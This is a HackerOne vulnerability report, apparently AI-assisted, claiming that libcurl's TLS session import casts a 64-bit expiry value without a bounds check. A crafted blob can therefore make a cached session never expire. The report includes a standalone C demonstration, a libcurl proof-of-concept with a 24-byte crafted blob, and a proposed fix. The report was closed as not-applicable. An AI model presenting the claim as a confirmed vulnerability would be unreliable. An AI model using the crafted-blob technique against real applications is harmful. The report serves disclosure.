libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire
Medium
Vulnerability Details
## Summary:
`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib/vtls/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t` and cast directly to `curl_off_t` (`int64_t`) with no bounds check — so a crafted blob encoding `valid_until = 0xFFFFFFFFFFFFFFFF` produces `valid_until = -1` after the cast. The import path (`Curl_ssl_session_import` → `cf_scache_peer_add_session`) stores the session directly, bypassing the `valid_until <= 0` reset that the normal add path (`cf_scache_add_session`) applies. The expiry predicate `(valid_until > 0) && (valid_until < now)` then evaluates `(-1 > 0) = FALSE`, so the session is never evicted from the cache. Additionally, `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` for this session (the pack side rejects `valid_until < 0`), leaving it permanently stuck in-memory yet still retrievable for TLS resumption via `Curl_ssl_scache_take()`.
> **AI Disclosure:** This report was produced with AI assistance. All findings were verified by running the proof-of-concept against libcurl 8.19.0 source code.
## Affected version
```
libcurl/8.19.0-DEV OpenSSL/3.5.5 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 nghttp2/1.64.0
Linux x86_64
Feature gate: USE_SSLS_EXPORT (enabled by default with OpenSSL, GnuTLS, wolfSSL, mbedTLS)
Introduced in: curl 8.12.0 (when curl_easy_ssls_import was added)
```
## Steps To Reproduce:
### Option A — Standalone (no libcurl build required)
Compiles and runs without any libcurl dependency. Proves the cast and expiry logic in isolation.
```c
// Save as poc_standalone.c
// Build: gcc -DSTANDALONE -o poc poc_standalone.c && ./poc
#include <stdio.h>
#include <stdint.h>
#include <time.h>
static int expiry_check(int64_t valid_until, int64_t now) {
/* exact copy of cf_scache_session_expired() — vtls_scache.c:501 */
return (valid_until > 0) && (valid_until < now);
}
int main(void) {
int64_t now = (int64_t)time(NULL);
/* attacker sets VALID_UNTIL = 0xFFFFFFFFFFFFFFFF in blob */
uint64_t evil_u64 = 0xFFFFFFFFFFFFFFFFULL;
int64_t evil_i64 = (int64_t)evil_u64; /* vtls_spack.c:311 — no check */
printf("val64 in blob : 0x%016llx\n", (unsigned long long)evil_u64);
printf("valid_until : %lld (wraps to -1)\n", (long long)evil_i64);
printf("(-1 > 0) : %s → session NEVER expires\n",
(evil_i64 > 0) ? "TRUE" : "FALSE");
printf("expired? : %s\n",
expiry_check(evil_i64, now) ? "YES" : "NO ← BUG");
return 0;
}
```
**Expected output:**
```
val64 in blob : 0xffffffffffffffff
valid_until : -1 (wraps to -1)
(-1 > 0) : FALSE → session NEVER expires
expired? : NO ← BUG
```
---
### Option B — Full libcurl PoC
Requires libcurl ≥ 8.12.0 built with `USE_SSLS_EXPORT`.
**Crafted blob (24 bytes, TLV big-endian as defined in `vtls_spack.c`):**
```
01 ← CURL_SPACK_VERSION marker (0x01)
04 00 08 ← CURL_SPACK_TICKET tag + uint16 length = 8
DE AD BE EF CA FE BA BE ← 8 bytes dummy ticket data
02 03 04 ← CURL_SPACK_IETF_ID tag + uint16 = 0x0304 (TLS 1.3)
03 ← CURL_SPACK_VALID_UNTIL tag
FF FF FF FF FF FF FF FF ← uint64 big-endian = UINT64_MAX → int64 = -1
```
```c
// Save as poc.c
// Build: gcc -o poc poc.c -lcurl && ./poc
#include <stdio.h>
#include <curl/curl.h>
static const unsigned char crafted_blob[] = {
0x01,
0x04, 0x00, 0x08, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe,
0x02, 0x03, 0x04,
0x03, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
int main(void) {
CURL *curl;
CURLSH *share;
CURLcode rc;
curl_global_init(CURL_GLOBAL_DEFAULT);
/* share needed to initialise the TLS session cache (ssl_scache) */
share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);
curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_SHARE, share);
rc = curl_easy_ssls_import(curl,
"example.com:443:G", /* global peer key */
NULL, 0,
crafted_blob, sizeof(crafted_blob));
printf("curl_easy_ssls_import: %d (%s)\n", rc, curl_easy_strerror(rc));
/* Expected: 0 (No error) — blob accepted, session stored with valid_until=-1 */
curl_easy_cleanup(curl);
curl_share_cleanup(share);
curl_global_cleanup();
return rc;
}
```
**Expected output (vulnerable build):**
```
curl_easy_ssls_import: 0 (No error)
```
The session is now in the TLS cache with `valid_until = -1`. It survives every subsequent call to `cf_scache_peer_remove_expired()` because `(-1 > 0) = FALSE`. It is also un-exportable — `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` (43) for it because `Curl_ssl_session_pack()` rejects `valid_until < 0` — leaving it permanently irremovable while still being served to servers via `Curl_ssl_scache_take()`.
---
### Relevant source locations
| File | Line | Note |
|------|------|------|
| `lib/vtls/vtls_spack.c` | 311 | `s->valid_until = (curl_off_t)val64;` — missing bounds check |
| `lib/vtls/vtls_spack.c` | 199 | Pack side rejects `< 0`, unpack side does not |
| `lib/vtls/vtls_scache.c` | 501 | `(valid_until > 0) && (valid_until < now)` — negative bypasses |
| `lib/vtls/vtls_scache.c` | 796 | Normal add path resets `<= 0` — import path skips this |
| `lib/vtls/vtls_scache.c` | 1127 | Import calls `cf_scache_peer_add_session` directly, no reset |
### Proposed fix
```c
/* vtls_spack.c, after spack_dec64 call in CURL_SPACK_VALID_UNTIL case */
if(val64 > (uint64_t)CURL_OFF_T_MAX) {
r = CURLE_READ_ERROR;
goto out;
}
s->valid_until = (curl_off_t)val64;
```
## Impact
An attacker who can write to the session blob passed to curl_easy_ssls_import() — for example by tampering with a session persistence file on disk — can inject a TLS session with valid_until = -1. This session is never evicted from the in-memory TLS cache (expiry check always FALSE) and cannot be cleaned up via re-export. If the injected ticket corresponds to a revoked or compromised TLS session, libcurl will continue offering it for TLS session resumption indefinitely, bypassing the intended expiry-based eviction. Applications most at risk are those that persist TLS sessions to disk across process restarts with weak file permission controls on the session store.
Actions
View on HackerOneReport Stats
- Report ID: 3658049
- State: Closed
- Substate: not-applicable